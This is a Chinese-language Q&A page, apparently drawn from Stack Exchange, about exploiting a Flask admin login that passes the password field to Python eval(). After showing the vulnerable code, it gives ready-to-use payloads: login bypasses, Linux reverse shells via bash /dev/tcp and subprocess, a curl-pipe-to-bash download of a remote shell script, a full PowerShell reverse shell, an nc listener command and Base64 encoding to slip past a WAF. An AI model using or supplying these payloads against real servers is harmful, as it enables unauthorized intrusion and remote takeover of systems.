如何绕过Python eval()函数?寻求登录绕过与反向Shell方案
针对Python命令注入漏洞的绕过登录与反向Shell建议
漏洞代码分析
目标代码存在明确的Python命令注入风险,核心危险点集中在登录校验逻辑:
@app.route("/admin", methods=['GET', 'POST']) def admin(): username = getUsernameFromSecureStorage() or "admin" passwd = getPasswordFromSecureStorage() if session.get('loggedin', False): return render_template('admin_page.html') else: if request.method == 'POST': if eval("'" + request.form['pass'] + "' == passwd"): session['loggedin'] = True return redirect(request.headers['referer'], code=302) else: return render_template('admin.html', msg="Login failed") return render_template('admin.html', msg="Welcome to the admin page")
此处直接将用户可控的request.form['pass']拼接进eval执行的字符串中,未做任何过滤,导致可构造Payload任意执行代码。
一、绕过登录的Payload
核心思路是让eval执行的表达式直接返回True,无需知晓真实密码:
- 基础Payload:
拼接后最终执行的表达式为:' or 1==1 #'' or 1==1 #' == passwd,注释符号#截断后续内容,1==1恒为True,直接通过登录校验。 - 替代写法:
拼接后表达式为:') or True or ('''') or True or ('' == passwd,True直接让整个表达式结果为True。
二、获取反向Shell的Payload
需同时满足两个条件:执行Shell命令 + 让eval表达式返回True(否则会进入登录失败分支):
Linux环境反向Shell
- 使用
os.system的Payload:
说明:' and (eval("__import__(\'os\').system(\'bash -c \"bash -i >& /dev/tcp/你的IP/你的端口 0>&1\"\')") or True) #or True确保无论system执行结果如何,整个表达式都返回True,登录成功的同时触发反向Shell。 - 使用
subprocess的Payload(规避os.system被限制的情况):' or (eval("__import__(\'subprocess\').call([\'bash\',\' -c\',\'bash -i >& /dev/tcp/你的IP/你的端口 0>&1\'])") and True) # - 下载执行脚本的Payload(适配环境限制较多的场景):
提前在自己的服务器上准备好') or (__import__(\'os\').popen(\'curl http://你的IP/shell.sh | bash\') and True) or ('shell.sh反向Shell脚本,通过curl下载并执行。
Windows环境反向Shell(若目标为Windows)
' or (eval("__import__(\'os\').system(\'powershell -c \"$client = New-Object System.Net.Sockets.TCPClient(\'你的IP\',你的端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$x = ($error[0] | Out-String);$sendback2 = $sendback2 + $x;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\')") and True) #
注意事项
- 替换Payload中的
你的IP和你的端口为实际监听的IP和端口,提前用nc -lvnp 端口开启监听。 - 若目标环境存在WAF或特殊字符过滤,可尝试对Payload进行Base64编码后在
eval中解码执行,示例:' or eval(__import__(\'base64\').b64decode(\'编码后的命令\')) or True #
内容的提问来源于stack exchange,提问作者TeSteR
相关产品推荐
相关产品推荐

